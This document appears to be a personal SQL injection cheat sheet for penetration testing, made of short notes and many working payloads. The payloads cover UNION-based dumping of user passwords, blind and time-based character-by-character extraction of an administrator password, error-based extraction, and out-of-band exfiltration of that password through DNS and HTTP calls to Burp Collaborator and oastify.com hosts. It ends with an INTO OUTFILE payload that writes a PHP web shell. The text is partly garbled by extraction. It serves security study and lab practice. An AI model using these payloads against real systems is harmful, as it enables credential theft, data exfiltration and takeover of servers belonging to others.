Portswigger Cheat Sheet: https://portswigger.net/web-security/sql-injection/cheat-sheet PentestMonkey Cheat Sheet: https://pentestmonkey.net/category/cheat-sheet/sql-injection
What is SQL injection
https://insecure-website.com/products?category=Gifts
-> SELECT * FROM products WHERE category = 'Gifts' AND released = 1
Gifts'--
to get the same data)Places to look for SQL injection
*
to indicate where to injectsqlmap -u {endpoint} --cookie "{vulnerable_cookie}=*" --dbs
UNION attacks
UNION
allows executing an additional SELECT
query and appending results to the original
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
will return values from a and b in table1 and values c and d from table2--
, #
, -- //
, # //
, etc.' ORDER BY 1--
, ' ORDER BY 2--
, and so on to see how many columns exist' UNION SELECT NULL, NULL, NULL, {etc}--
for the same purpose - NULL
is convertible to every common data type' UNION SELECT 'a', NULL, NULL, {etc}--
to find which columns allow stringsLIMIT
to limit the number of results and OFFSET
to offset which to select from the database
' UNION SELECT username,password FROM users LIMIT 999 OFFSET 0--
would give enough space (999) and set the offset at 0, appending the entire table onto the result' UNION SELECT username || password FROM users--
Examining the Database
SELECT @@version
SELECT * FROM v$version
SELECT
query in Oracle requires the FROM
keyword - DUAL
can be used as an always-valid table' UNION SELECT NULL FROM DUAL--
--
or #
for commentsSELECT version()
information_schema.tables
contains table information
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
does the trick
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
Verbose Error Message SQL Injection
CAST
is a useful tool for dumping column data in error messages
CAST((SELECT example_column FROM example_table) AS int)
will yield something like Invalid syntax: "{column_data} is not an integer"
' AND 1=CAST((SELECT username FROM users LIMIT 1) as int)--
(check if 1 = integer of string data)Blind SQL Injection
' AND '1'='1
' AND '1'='2
to procure an error' AND (SELECT 'a' FROM information_schema.columns WHERE table_name='users' LIMIT 1)='a
to see if there is a user table (a = a if users exists)' AND (SELECT 'a' FROM information_schema.columns WHERE table_name='users' AND column_name='username' LIMIT 1)='a
to see if there is a “username” column' AND (SELECT 'a' FROM users WHERE username='administrator')='a
to see if there is an “administrator” user' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
to see if the first letter of the administrator’s password is “a”
(password,1,1)
to (password,2,1)
to check the second character' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
SUBSTR
with some databases - refer to cheat sheet'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
Error-based SQL Injection
' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
will evaluate to true' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
will evaluate to false' AND (SELECT CASE WHEN (username = 'administrator' AND SUBSTRING(password, 1, 1) = 'a') THEN 1/0 ELSE 'a' END FROM users)='a
' AND (SELECT CASE WHEN (SUBSTR((SELECT password FROM users WHERE username='administrator'),1,1)='0') THEN 'a' ELSE TO_CHAR(1/0) END FROM dual)='a
> 'm'
if accepted by the databaseOAST Techniques
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
UNION
, ;
, etc.
+
, ?
marks as %3f
, =
as %3d
, %
as %25
, :
as %3a
, and ;
as %3b
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username='administrator')||'.wee8xnrdltcmbp86tyzupzx5lwrnff34.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--
Bypassing Defenses
\
as the first parameter can actually unlock an apostrophe to use as part of the second payloadOther Techniques
//
to provide visibility on the payload and protect against whitespace truncationIN
to inject arbitrary second command:
' OR 1=1 IN (SELECT version()) -- //
' OR 1=1 in (SELECT password FROM users WHERE username = 'admin') -- //
SELECT * FROM rooms WHERE room_id = 1;
uses no quotesINTO OUTFILE
to create a PHP/JSP/ASPX/etc shell
' UNION SELECT "<?php system('whoami');?>", null, null INTO OUTFILE "/var/www/html/tmp/shell.php" -- //
tmp
is important, because we might not have perms for /html